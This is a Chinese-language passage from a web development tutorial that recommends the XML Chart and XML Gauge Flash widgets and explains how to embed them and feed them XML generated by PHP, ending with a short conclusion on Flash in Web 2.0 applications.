    给我留下深刻印象的两个 Flash SWF 是 XML Chart 和 XML Gauge,可在 maani.us 获得(请参阅 参考资料)。使用动画就可以轻松地为 Web 站点提供动态的规格和图形,您只需在 PHP 应用程序中创建 XML 页面。

    第一步是从站点下载 SWF。然后将其嵌入到 Web 页面的 <object> 标记中并将 URL 提供给 XML 数据摘要。制作一个 PHP 页面按照控制所需的格式导出 XML。这些动画的 XML 格式在站点中得到了详细说明并且非常易于创建。

    结束语

    Flash 带来了一种机会,使您可轻松将大量交互操作添加到 Web 应用程序。就像一些小部件样式的控件一样,从微不足道开始,变得越来越流行。XML Chart 和 XML Gauge 提供了机会让您在投入大量时间了解 Ming、Flex 或 Laszlo 之前先尝试使用这些类型的 Flash 小部件。无论如何,值得花时间去了解 Flash 及其功能来扩展 Web 2.0 PHP 应用程序的功能及交互操作。

     

     

    ---------------------------------------------------
    核弹 / KernBombe (音译:卡邦) 系统
Open Toolbar